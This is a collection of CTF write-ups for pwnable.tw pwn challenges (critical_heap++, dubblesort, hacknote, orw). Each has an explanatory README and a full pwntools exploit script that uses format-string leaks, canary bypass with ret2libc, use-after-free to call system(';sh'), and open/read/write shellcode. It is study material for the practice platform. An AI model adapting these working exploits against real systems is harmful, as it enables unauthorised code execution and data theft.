看一下跟 base 差多遠,leak 出來後減掉就是 heap base 了 144 | 145 | ### TZ 146 | 147 | 這個部分就創一個 system 然後用 setenv 把 TZ 設成 `/home/critical_heap++/flag` 148 | 149 | 接著創一個 time struct,就會在 localtime 將 flag 讀取到 heap 上了,然後用 gdb 看一下 offset 搭配 heap base 就可以知道 flag address 了 150 | 151 | ![](https://i.imgur.com/o5RZhBc.png) 152 | 153 | ### format string 154 | 155 | 利用 format string 搭配 %s 可以 leak 任意位址的特性來 leak flag address 156 | 157 | 另外,因為是使用 printf_chk 的關係,不能使用 `$` 要自己用 %c 來跳到指定區域 158 | 159 | ![](https://i.imgur.com/wniwxLP.png) 160 | 161 | ## Note 162 | 163 | ### peda in docker 164 | 165 | 這次有給一個 docker 的環境,要在裡面使用 gdb-peda 的話,要改動以下設定 166 | 167 | #### Dockerfile 168 | 169 | ```dockerfile 170 | RUN apt-get install gdb git -y 171 | WORKDIR /root 172 | RUN git clone https://github.com/scwuaptx/Pwngdb.git ; cp ~/Pwngdb/.gdbinit ~/ 173 | RUN git clone https://github.com/scwuaptx/peda.git ~/peda ; echo "source ~/peda/peda.py" >> ~/.gdbinit ; cp ~/peda/.inputrc ~/ 174 | ``` 175 | 176 | #### docker-compose.yml 177 | 178 | ```yaml 179 | critical_heap: 180 | cap_add: 181 | - SYS_PTRACE 182 | ``` 183 | 184 | -------------------------------------------------------------------------------- /others/pwnable.tw/criticalheap/hack.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = remote('chall.pwnable.tw', 10500) 4 | #r = remote('localhost', 56746) 5 | 6 | # 0: system 7 | r.recvuntil('Your choice : ') 8 | r.sendline('1') 9 | r.recvuntil('Name of heap:') 10 | r.sendline('abcd') 11 | r.recvuntil('Your choice : ') 12 | r.sendline('3') 13 | 14 | # 0: play system (setenv) 15 | r.recvuntil('Your choice : ') 16 | r.sendline('4') 17 | r.recvuntil('Index of heap :') 18 | r.sendline('0') 19 | r.recvuntil('Your choice : ') 20 | r.sendline('1') 21 | r.recvuntil('Give me a name for the system heap :') 22 | r.sendline('abcd') 23 | r.recvuntil('Give me a value for this name :') 24 | r.sendline('efgh') 25 | 26 | # 0: play system (getenv -> 0x20) 27 | r.recvuntil('Your choice : ') 28 | r.sendline('4') 29 | r.recvuntil('What\'s name do you want to see :') 30 | r.sendline('abcd') # previous setenv 31 | r.sendline('5') 32 | 33 | # 0: delete 34 | r.recvuntil('Your choice : ') 35 | r.sendline('5') 36 | r.recvuntil('Index of heap :') 37 | r.sendline('0') 38 | 39 | # 0: normal 40 | r.recvuntil('Your choice : ') 41 | r.sendline('1') 42 | r.recvuntil('Name of heap:') 43 | r.sendline('defg') 44 | r.recvuntil('Your choice : ') 45 | r.sendline('1') 46 | r.recvuntil('Content of heap :') 47 | r.send('AAAAAAAA') # 0x18 -> 0x20 48 | 49 | # 0: show 50 | r.recvuntil('Your choice : ') 51 | r.sendline('2') 52 | r.recvuntil('Index of heap :') 53 | r.sendline('0') 54 | 55 | # get heap base 56 | r.recvuntil('AAAAAAAA') 57 | base = u64(r.recvuntil('*')[:-2].ljust(8, '\x00')) - 0x145 58 | 59 | print hex(base) 60 | 61 | # 1: system 62 | r.recvuntil('Your choice : ') 63 | r.sendline('1') 64 | r.recvuntil('Name of heap:') 65 | r.sendline('abcd') 66 | r.recvuntil('Your choice : ') 67 | r.sendline('3') 68 | 69 | # 1: play system (setenv -> TZ) 70 | r.recvuntil('Your choice : ') 71 | r.sendline('4') 72 | r.recvuntil('Index of heap :') 73 | r.sendline('1') 74 | r.recvuntil('Your choice : ') 75 | r.sendline('1') 76 | r.recvuntil('Give me a name for the system heap :') 77 | r.sendline('TZ') 78 | r.recvuntil('Give me a value for this name :') 79 | r.sendline('/home/critical_heap++/flag') 80 | r.recvuntil('Your choice : ') 81 | r.sendline('5') 82 | 83 | # 2: clock 84 | r.recvuntil('Your choice : ') 85 | r.sendline('1') 86 | r.recvuntil('Name of heap:') 87 | r.sendline('ghij') 88 | r.recvuntil('Your choice : ') 89 | r.sendline('2') 90 | 91 | # flag 92 | flag_addr = base + 0x4d0 93 | 94 | # 0: play normal change content 95 | r.recvuntil('Your choice : ') 96 | r.sendline('4') 97 | r.recvuntil('Index of heap :') 98 | r.sendline('0') 99 | r.recvuntil('Your choice : ') 100 | r.sendline('2') 101 | r.recvuntil('Content :') 102 | r.sendline('%c%c%c%c%c%c%c%c%c%c%c%s' + p64(flag_addr)) 103 | 104 | # 0: play normal show content 105 | r.recvuntil('Your choice : ') 106 | r.sendline('1') 107 | 108 | r.interactive() 109 | -------------------------------------------------------------------------------- /others/pwnable.tw/dubblesort/README.md: -------------------------------------------------------------------------------- 1 | # dubblesort 2 | 3 | > Challenge link: [dubblesort](https://pwnable.tw/challenge/#4) 4 | > 5 | > Category: pwn 6 | 7 | Sort the memory! 8 | 9 | `nc chall.pwnable.tw 10101` 10 | 11 | [dubblesort](https://pwnable.tw/static/chall/dubblesort) 12 | 13 | [libc.so](https://pwnable.tw/static/libc/libc_32.so.6) 14 | 15 | ## Observation 16 | 17 | 一開始程式先問了**名字**,接著問要**排列幾個數字** ,最後依序輸入**各個數字**後會排列完輸出結果 18 | 19 | 看到這題時,我想到之前在 `csie.ctf.tw` 有寫過一題 bubblesort ,那題是透過排列的數字沒有限制數量來蓋到 return address,或許這題有類似的漏洞 20 | 21 | ```bash 22 | $ ./dubblesort 23 | What your name :a 24 | Hello a 25 | ,How many numbers do you what to sort :3 26 | Enter the 0 number : 0 27 | Enter the 1 number : 1 28 | Enter the 2 number : 2 29 | Processing...... 30 | Result : 31 | 0 1 2 32 | ``` 33 | 34 | ### file 35 | 36 | ```bash 37 | $ file dubblesort 38 | dubblesort: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=12a217baf7cbdf2bb5c344ff14adcf7703672fb1, stripped 39 | ``` 40 | 41 | ### checksec 42 | 43 | 保護全開 44 | 45 | ```bash 46 | gdb-peda$ checksec 47 | CANARY : ENABLED 48 | FORTIFY : ENABLED 49 | NX : ENABLED 50 | PIE : ENABLED 51 | RELRO : FULL 52 | ``` 53 | 54 | ### input 55 | 56 | 名字是使用 `read()` 來讀取,讀取的長度是 0x40 57 | 58 | ```bash 59 | 0x56555a11 : mov DWORD PTR [esp],0x0 60 | => 0x56555a18 : call 0x56555630 61 | 0x56555a1d : mov DWORD PTR [esp+0x8],esi 62 | Guessed arguments: 63 | arg[0]: 0x0 64 | arg[1]: 0xffffd72c --> 0xff17 65 | arg[2]: 0x40 ('@') 66 | ``` 67 | 68 | 要排列的數量是使用 `scanf()` ,且參數是 `%u` 也就是 unsigned int 69 | 70 | ```bash 71 | 0x56555a45 : mov DWORD PTR [esp],eax 72 | => 0x56555a48 : call 0x56555700 <__isoc99_scanf@plt> 73 | 0x56555a4d : mov eax,DWORD PTR [esp+0x18] 74 | Guessed arguments: 75 | arg[0]: 0x56555bfa --> 0x45007525 ('%u') 76 | arg[1]: 0xffffd708 --> 0xe0 77 | ``` 78 | 79 | 接著數字的部分一樣是使用 `scanf()` 加上 `%u` 80 | 81 | ```bash 82 | 0x56555a92 : mov DWORD PTR [esp],eax 83 | => 0x56555a95 : call 0x56555700 <__isoc99_scanf@plt> 84 | 0x56555a9a : add esi,0x1 85 | Guessed arguments: 86 | arg[0]: 0x56555bfa --> 0x45007525 ('%u') 87 | arg[1]: 0xffffd70c --> 0xf7f37f0a (mov edx,DWORD PTR [esp+0x18]) 88 | ``` 89 | 90 | ### sort 91 | 92 | sort 的參數是 要排列的數量 以及 第一個數字在 stack 上的位址,排列的方式看起來沒什麼問題 93 | 94 | ```bash 95 | 0x56555ab0 : mov DWORD PTR [esp],eax 96 | => 0x56555ab3 : call 0x56555931 97 | 0x56555ab8 : lea eax,[ebx-0x138c] 98 | Guessed arguments: 99 | arg[0]: 0xffffd70c --> 0x0 100 | arg[1]: 0x3 101 | ----------------------- stack ----------------------- 102 | 0028| 0xffffd70c --> 0x0 # num 0 103 | 0032| 0xffffd710 --> 0x1 # num 1 104 | 0036| 0xffffd714 --> 0x2 # num 2 105 | ``` 106 | 107 | ### name 108 | 109 | 在測試 name 的時候,發現有時候會輸出一些不可視字元 110 | 111 | ```bash 112 | ./dubblesort 113 | What your name :aaaa 114 | Hello aaaa 115 | y��/,How many numbers do you what to sort : 116 | ``` 117 | 118 | 經過觀察後發現應該是因為 name 沒有將所有空間先歸零,所以輸出時才會連同後面的舊資料一起輸出 119 | 120 | ### stack canary 121 | 122 | 因為有開 canary 的關係,就算沒有檢查最多可以輸入幾個數字,再輸入超過時依然會噴錯 123 | 124 | ```bash 125 | *** stack smashing detected ***: ./dubblesort terminated 126 | ``` 127 | 128 | 利用二分搜的方式測試,發現最多只能輸入到 24 個數字,如果到第 25 個數字的話,在排列時就會噴出以上的錯誤訊息 129 | 130 | ## Solution 131 | 132 | 總共有三個步驟要做 133 | 134 | 1. leak libc 135 | 2. bypass canary 136 | 3. ret2libc 137 | 138 | ### Leak libc 139 | 140 | 這邊我利用的是 name 141 | 142 | 因為 name 的 buffer 沒有先清空的關係,所以可以 leak 出後面的數值 143 | 144 | ```bash 145 | 0060| 0xffffd72c ("aaaa\n\331\377\377/") 146 | 0064| 0xffffd730 --> 0xffffd90a --> 0xfb6d2200 147 | 0068| 0xffffd734 --> 0x2f ('/') 148 | 0072| 0xffffd738 --> 0x8e 149 | 0076| 0xffffd73c --> 0x16 150 | 0080| 0xffffd740 --> 0x8000 151 | 0084| 0xffffd744 --> 0xf7fcb000 --> 0x1b1db0 152 | 0088| 0xffffd748 --> 0xf7fc9244 --> 0xf7e31020 (call 0xf7f38b59) <== 153 | ``` 154 | 155 | 由上面 stack 內容可知,第 8 個包含一個位址,可以記錄下此時 libc base 與其之間的差值,並在真正 leak 出此值時減掉差值,即可得到 libc base 156 | 157 | ```bash 158 | 0xf7fc9244 - libc_base = x (固定的) 159 | leak_addr - x = libc_base 160 | ``` 161 | 162 | 只要輸入 28 (4*7) 個字元作為 payload ,就可以印出這個位址的值了 163 | 164 | ```bash 165 | 0060| 0xffffd72c ('a' , "\n\222\374\367\001VUV\251WUV\240oUV\001") 166 | 0064| 0xffffd730 ('a' , "\n\222\374\367\001VUV\251WUV\240oUV\001") 167 | 0068| 0xffffd734 ('a' , "\n\222\374\367\001VUV\251WUV\240oUV\001") 168 | 0072| 0xffffd738 ('a' , "\n\222\374\367\001VUV\251WUV\240oUV\001") 169 | 0076| 0xffffd73c ('a' , "\n\222\374\367\001VUV\251WUV\240oUV\001") 170 | 0080| 0xffffd740 ("aaaaaaaa\n\222\374\367\001VUV\251WUV\240oUV\001") 171 | 0084| 0xffffd744 ("aaaa\n\222\374\367\001VUV\251WUV\240oUV\001") 172 | 0088| 0xffffd748 --> 0xf7fc920a --> 0x0 173 | ``` 174 | 175 | ### bypass canary 176 | 177 | 在 observation 時,有利用二分搜的方式找到 canary 的位置在第 25 個 178 | 179 | 此時可以利用輸入時的 `scanf("%u")` ,一般在輸入時,要輸入 unsigned int 才會被接受,但是這樣會蓋掉 canary ,經過搜尋後才知道,原來可以輸入 '+',此時會被當作正常輸入,但保留此位置原始的值,直接跳到下一個,如此一來就可直接繞過 canary 了 180 | 181 | ### ret2libc 182 | 183 | 要做到 ret2libc 的話達成兩個條件 184 | 185 | - libc base 186 | - return address 187 | 188 | libc base 在先前已經透過 name 取得了,想要控制 return address 的話,可以利用輸入數字時的 buffer overflow,因為已經跳過 canary 了,所以可以一直推到 return 的位置,並進而控制 return address 189 | 190 | 這邊我一樣用二分搜的方式來做,如果有蓋到 return address 的位置的話會出現以下訊息 191 | 192 | ```bash 193 | [*] Process './dubblesort' stopped with exit code -11 (SIGSEGV) (pid 2290) 194 | ``` 195 | 196 | 搜尋過後知道 return address 是在第 33 個位置 197 | 198 | ```bash 199 | 24(payload) + canary + 7 + ret 200 | ``` 201 | 202 | 最後就是使用 libc base 找到 `system` 以及 `/bin/sh` 串接在 return address 的位置即可 203 | 204 | ## Note 205 | 206 | ### pwntool libc 207 | 208 | 因為有給 libc ,所以在本機測試時最好是掛上 libc ,否則位址可能會跟遠端不同 209 | 210 | ```python 211 | r = process('./dubblesort', env={'LD_PRELOAD':'./libc_32.so.6'}) 212 | ``` 213 | 214 | ### sort 215 | 216 | 在輸入 payload 時,因為輸入完後還會進行排序,所以要確保排序過後順序依然不變 217 | 218 | 我的作法是前 24 個字就直接輸入 0~23 ,canary 的部分輸入 + (43),接著後面的 7 個字放 libc base,最後 `system` 及 `/bin/sh` 因為要加上 libc base ,所以一定比 libc base 大 219 | 220 | ### system 221 | 222 | 在呼叫 system 時,stack 第一個位置是結束後的 return address,因為不會 return 了,所以隨便填就可以了,接著才是 system 的第一個參數 `/bin/sh` -------------------------------------------------------------------------------- /others/pwnable.tw/dubblesort/hack.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./dubblesort', env={'LD_PRELOAD':'./libc_32.so.6'}) 4 | r = remote('chall.pwnable.tw', 10101) 5 | 6 | libc_32 = ELF('./libc_32.so.6') 7 | 8 | #===================== leak libc 9 | 10 | r.recvuntil(':') 11 | r.send('aaaa'*7) 12 | s = r.recvuntil(',').strip(',') 13 | 14 | addrloc = 6 + 28 15 | leakaddr = u32(s[addrloc:addrloc+4]) 16 | print hex(leakaddr) 17 | 18 | offset = 0xf76e5244 - 0xf7537000 19 | libc = leakaddr - offset 20 | print hex(libc) 21 | 22 | system = libc + libc_32.symbols['system'] 23 | sh = libc + libc_32.search('/bin/sh').next() 24 | 25 | #===================== sort 26 | 27 | r.recvuntil(':') 28 | r.sendline('40') # 24 + canary + 7 + ret + 7 29 | 30 | for i in range(24): 31 | r.recvuntil(':') 32 | r.sendline(str(i)) 33 | 34 | r.recvuntil(':') 35 | r.sendline('+') 36 | 37 | for i in range(7): 38 | r.recvuntil(':') 39 | r.sendline(str(libc)) 40 | 41 | r.recvuntil(':') 42 | r.sendline(str(system)) 43 | 44 | for i in range(7): 45 | r.recvuntil(':') 46 | r.sendline(str(sh)) 47 | 48 | r.interactive() 49 | -------------------------------------------------------------------------------- /others/pwnable.tw/hacknote/README.md: -------------------------------------------------------------------------------- 1 | # hacknote 2 | 3 | > Challenge Link: [hacknote](https://pwnable.tw/challenge/#5) 4 | > 5 | > Category: pwn 6 | 7 | A good Hacker should always take good notes! 8 | 9 | `nc chall.pwnable.tw 10102` 10 | 11 | [hacknote](https://pwnable.tw/static/chall/hacknote) 12 | 13 | [libc.so](https://pwnable.tw/static/libc/libc_32.so.6) 14 | 15 | ## Observation 16 | 17 | This challenge is a Hacknote. There are 4 features (actually 3) - **Add, Delete, and Print**. 18 | 19 | ``` 20 | ---------------------- 21 | HackNote 22 | ---------------------- 23 | 1. Add note 24 | 2. Delete note 25 | 3. Print note 26 | 4. Exit 27 | ---------------------- 28 | Your choice :1 29 | Note size :20 30 | Content :abcd 31 | Success ! 32 | ---------------------- 33 | HackNote 34 | ---------------------- 35 | 1. Add note 36 | 2. Delete note 37 | 3. Print note 38 | 4. Exit 39 | ---------------------- 40 | Your choice :3 41 | Index :0 42 | abcd 43 | 44 | ---------------------- 45 | HackNote 46 | ---------------------- 47 | 1. Add note 48 | 2. Delete note 49 | 3. Print note 50 | 4. Exit 51 | ---------------------- 52 | Your choice :2 53 | Index :0 54 | Success 55 | ---------------------- 56 | HackNote 57 | ---------------------- 58 | 1. Add note 59 | 2. Delete note 60 | 3. Print note 61 | 4. Exit 62 | ---------------------- 63 | Your choice :4 64 | ``` 65 | 66 | I wrote another challenge in `csie.ctf.tw` also called "hacknote" before, and both of these look similar. 67 | 68 | In hacknote (csie), this program `malloc` when add and `free` when delete. However, **it didn't set the pointer to `NULL` **. Therefore, we can use add to write something, and use print to run. 69 | 70 | What do I mean ? Let's try ! 71 | 72 | ### Experiment 73 | 74 | #### Add two notes 75 | 76 | I add two notes with size 32 and contents are "aaaa" and "bbbb". 77 | 78 | Here is the value on the heap. 79 | 80 | ``` 81 | 0x804b000: 0x00000000 0x00000011 0x0804862b 0x0804b018 82 | 0x804b010: 0x00000000 0x00000029 0x61616161 0x0000000a <======= note "aaaa" 83 | 0x804b020: 0x00000000 0x00000000 0x00000000 0x00000000 84 | ----------------------------- 85 | 0x804b030: 0x00000000 0x00000000 | 0x00000000 0x00000011 86 | ------------------------------------- 87 | 0x804b040: 0x0804862b 0x0804b050 0x00000000 0x00000029 88 | 0x804b050: 0x62626262 0x0000000a 0x00000000 0x00000000 <======= note "bbbb" 89 | 0x804b060: 0x00000000 0x00000000 0x00000000 0x00000000 90 | ``` 91 | 92 | Let's focus on note "aaaa". 93 | 94 | ``` 95 | ------------------------------------------------------ 96 | 0x804b000: | 0x00000000 0x00000011 0x0804862b 0x0804b018 | <======= struct note 97 | ---------------------------------------------|-------- 98 | | 99 | ------------- 100 | | 101 | ---------------------------------v-------------------- 102 | 0x804b010: | 0x00000000 0x00000029 0x61616161 0x0000000a | 103 | 0x804b020: | 0x00000000 0x00000000 0x00000000 0x00000000 | <======= content 104 | 0x804b030: | 0x00000000 0x00000000 | 105 | ------------------------------------------------------ 106 | ``` 107 | 108 | The first 8 bytes of each blocks are headers of heap. 109 | 110 | - struct note is 0x10 111 | 112 | - `0x0804862b`is print function 113 | 114 | ``` 115 | 804862b: 55 push ebp 116 | 804862c: 89 e5 mov ebp,esp 117 | 804862e: 83 ec 08 sub esp,0x8 118 | 8048631: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 119 | 8048634: 8b 40 04 mov eax,DWORD PTR [eax+0x4] 120 | 8048637: 83 ec 0c sub esp,0xc 121 | 804863a: 50 push eax 122 | 804863b: e8 90 fe ff ff call 80484d0 123 | 8048640: 83 c4 10 add esp,0x10 124 | 8048643: 90 nop 125 | 8048644: c9 leave 126 | 8048645: c3 ret 127 | ``` 128 | 129 | #### Delete 130 | 131 | I delete note "aaaa" (index 0) first, then I delete note "bbbb" (index 1). 132 | 133 | Here is the fastbin in heap. 134 | 135 | ``` 136 | (0x10) fastbin[0]: 0x804b038 --> 0x804b000 --> 0x0 137 | (0x18) fastbin[1]: 0x0 138 | (0x20) fastbin[2]: 0x0 139 | (0x28) fastbin[3]: 0x804b048 --> 0x804b010 --> 0x0 140 | (0x30) fastbin[4]: 0x0 141 | (0x38) fastbin[5]: 0x0 142 | (0x40) fastbin[6]: 0x0 143 | top: 0x804b070 (size : 0x20f90) 144 | last_remainder: 0x0 (size : 0x0) 145 | unsortbin: 0x0 146 | ``` 147 | 148 | #### Reallocate 149 | 150 | I add a new note with size **0x8** (0x8 + header = 0x10). Note 2 is allocated to 0x804b038, and it's content is 0x804b000 (original note 0). 151 | 152 | ``` 153 | --------------------------------------------------------------- 154 | 0x804b000: | 0x00000000 0x00000011 0x61616161 0x0804b00a | <== content 155 | --------------------------------------------------------------- 156 | 0x804b010: 0x00000000 0x00000029 0x00000000 0x0000000a 157 | 0x804b020: 0x00000000 0x00000000 0x00000000 0x00000000 158 | -------------------------------- 159 | 0x804b030: 0x00000000 0x00000000 | 0x00000000 0x00000011 | 160 | -------------------------------- | <== struct 161 | 0x804b040: | 0x0804862b 0x0804b008 | 162 | --------------------------------------------------------------- 163 | ``` 164 | 165 | ## Solution 166 | 167 | Accroding to the experiment above, we can exploit it by reusing note. 168 | 169 | ### Leak libc 170 | 171 | First, we should leak the base of libc in order to using system(). 172 | 173 | I choose `puts_got = 0x804a024`to leak. 174 | 175 | Because of the size of struct is 0x10, we can only use only 0x8 as content size (0x8 + header = 0x10). Thus, I put `printNote function` and `puts_got`in content to leak base. 176 | 177 | After adding note 2, note 0 is like this: 178 | 179 | ```c 180 | struct note { 181 | printNote(); // 0x0804862b 182 | puts_got; // 0x804a024 183 | } 184 | ``` 185 | 186 | When we print note 0, it will call printNote() then print puts_got. 187 | 188 | ### System() 189 | 190 | Before printing note, this program send address of note as parameter to function. 191 | 192 | ![](https://i.imgur.com/dYKZzfa.png) 193 | 194 | ``` 195 | ----------------- 196 | 0x804b000: 0x00000000 0x00000011 | 0x0804862b | 0x0804b018 197 | ----------------- 198 | 0x804b010: 0x00000000 0x00000029 0x61616161 0x0000000a 199 | ``` 200 | 201 | What if this function is system() ?? Value from `0x804b008`would be considered as string. 202 | 203 | Therefore, we can put something like `;sh` in content. Because string before `;` can not be executed, we have to add a `;` to split it. 204 | 205 | After printing (system), a shell will prompt !! 206 | -------------------------------------------------------------------------------- /others/pwnable.tw/hacknote/hack.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = remote('chall.pwnable.tw', 10102) 4 | 5 | def addNote(size, note): 6 | r.recvuntil(':') 7 | r.sendline('1') 8 | r.recvuntil(':') 9 | r.sendline(str(size)) 10 | r.recvuntil(':') 11 | r.sendline(note) 12 | 13 | def deleteNote(index): 14 | r.recvuntil(':') 15 | r.sendline('2') 16 | r.recvuntil(':') 17 | r.sendline(str(index)) 18 | 19 | def printNote(index): 20 | s = r.recvuntil(':') 21 | r.sendline('3') 22 | s = r.recvuntil(':') 23 | r.sendline(str(index)) 24 | 25 | print_note = 0x804862b 26 | puts_got = 0x804a024 27 | puts_libc = 0x0005f140 28 | system_libc = 0x0003a940 29 | 30 | addNote(0x50, 'aaaaa') 31 | addNote(0x50, 'aaaaa') 32 | deleteNote(0) 33 | deleteNote(1) 34 | 35 | addNote(0x8, p32(print_note) + p32(puts_got)) 36 | 37 | printNote(0) 38 | 39 | s = r.recvuntil('\n')[:-1].split(':')[1][:4] 40 | puts = u32(s.ljust(4, '\x00')) 41 | print hex(puts) 42 | 43 | base = puts - puts_libc 44 | system = base + system_libc 45 | 46 | deleteNote(2) 47 | 48 | addNote(0x8, p32(system) + ';sh') 49 | 50 | printNote(0) 51 | 52 | r.interactive() 53 | -------------------------------------------------------------------------------- /others/pwnable.tw/orw/README.md: -------------------------------------------------------------------------------- 1 | # orw 2 | 3 | > Challenge link: [orw](https://pwnable.tw/challenge/#2) 4 | > 5 | > Category: pwn 6 | > 7 | > Writeup: [orw](https://github.com/frozenkp/CTF/tree/master/others/pwnable.tw/orw) 8 | 9 | Read the flag from `/home/orw/flag`. 10 | 11 | Only `open` `read` `write` syscall are allowed to use. 12 | 13 | `nc chall.pwnable.tw 10001` 14 | 15 | [orw](https://pwnable.tw/static/chall/orw) 16 | 17 | ## Observation 18 | 19 | 這題題意很簡單,就是輸入 shellcode,它會幫你執行 20 | 21 | 題目敘述中有說只能使用 `open` `read` `write`,且 flag 在 `/home/orw/flag` ,所以步驟如下 22 | 23 | - open('/home/orw/flag') 24 | - read to buffer 25 | - write to stdout 26 | 27 | ![](https://i.imgur.com/x1eEwmd.png) 28 | 29 | ## Try 30 | 31 | 我一開始試著使用 pwntool 中內建的[工具](http://docs.pwntools.com/en/stable/shellcraft/i386.html),但無法成功讀出檔案 32 | 33 | ```python 34 | >>> print shellcraft.i386.linux.cat('/home/orw/flag') 35 | /* push '/home/orw/flag\x00' */ 36 | push 0x1010101 37 | xor dword ptr [esp], 0x1016660 38 | push 0x6c662f77 39 | push 0x726f2f65 40 | push 0x6d6f682f 41 | /* open(file='esp', oflag='O_RDONLY', mode=0) */ 42 | mov ebx, esp 43 | xor ecx, ecx 44 | xor edx, edx 45 | /* call open() */ 46 | push SYS_open /* 5 */ 47 | pop eax 48 | int 0x80 49 | /* sendfile(out_fd=1, in_fd='eax', offset=0, count=2147483647) */ 50 | push 1 51 | pop ebx 52 | mov ecx, eax 53 | xor edx, edx 54 | push 0x7fffffff 55 | pop esi 56 | /* call sendfile() */ 57 | xor eax, eax 58 | mov al, 0xbb 59 | int 0x80 60 | ``` 61 | 62 | ## Solution 63 | 64 | 最後我選擇參考 [x86 syscall](https://syscalls.kernelgrok.com/) 逐步構造出 `open` `read` `write` 65 | 66 | - `open(file='esp', oflag='O_RDONLY', mode=0)` 67 | - 這個我採用 pwntool 輸出的寫法 68 | - `read(fd, buf, length)` 69 | - `eax` 是 0x3 70 | - `fd` 存在 `open()` 的回傳結果 (`eax`) 71 | - `buf` 選在 `esp` 72 | - `length` 是 60 73 | - `write(stdout, buf, length)` 74 | - `eax` 是 0x4 75 | - `stdout` 是 1 76 | - `buf` 是剛剛讀取的 `esp` 77 | - `length` 是 60 78 | 79 | ```assembly 80 | /* push '/home/orw/flag\x00' */ 81 | push 0x1010101 82 | xor dword ptr [esp], 0x1016660 83 | push 0x6c662f77 84 | push 0x726f2f65 85 | push 0x6d6f682f 86 | /* open(file='esp', oflag='O_RDONLY', mode=0) */ 87 | mov ebx, esp 88 | xor ecx, ecx 89 | xor edx, edx 90 | /* call open() */ 91 | push SYS_open /* 5 */ 92 | pop eax 93 | int 0x80 94 | /*call read()*/ 95 | push eax 96 | push 0x3 97 | pop eax 98 | pop ebx 99 | push 60 100 | pop edx 101 | mov ecx, esp 102 | int 0x80 103 | /*call write()*/ 104 | push 0x4 105 | pop eax 106 | push 0x1 107 | pop ebx 108 | push 60 109 | pop edx 110 | mov ecx, esp 111 | int 0x80 112 | ``` 113 | 114 | -------------------------------------------------------------------------------- /others/pwnable.tw/orw/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.update(arch='i386', os='linux') 4 | 5 | #r = process('./orw') 6 | r = remote('chall.pwnable.tw', 10001) 7 | 8 | r.recvuntil('Give my your shellcode:') 9 | shellcode = ''' 10 | /* push '/home/orw/flag\x00' */ 11 | push 0x1010101 12 | xor dword ptr [esp], 0x1016660 13 | push 0x6c662f77 14 | push 0x726f2f65 15 | push 0x6d6f682f 16 | /* open(file='esp', oflag='O_RDONLY', mode=0) */ 17 | mov ebx, esp 18 | xor ecx, ecx 19 | xor edx, edx 20 | /* call open() */ 21 | push SYS_open /* 5 */ 22 | pop eax 23 | int 0x80 24 | /*call read()*/ 25 | push eax 26 | push 0x3 27 | pop eax 28 | pop ebx 29 | push 60 30 | pop edx 31 | mov ecx, esp 32 | int 0x80 33 | /*call write()*/ 34 | push 0x4 35 | pop eax 36 | push 0x1 37 | pop ebx 38 | push 60 39 | pop edx 40 | mov ecx, esp 41 | int 0x80 42 | ''' 43 | print disasm(asm(shellcode)) 44 | r.sendline(asm(shellcode)) 45 | 46 | r.interactive() 47 | --------------------------------------------------------------------------------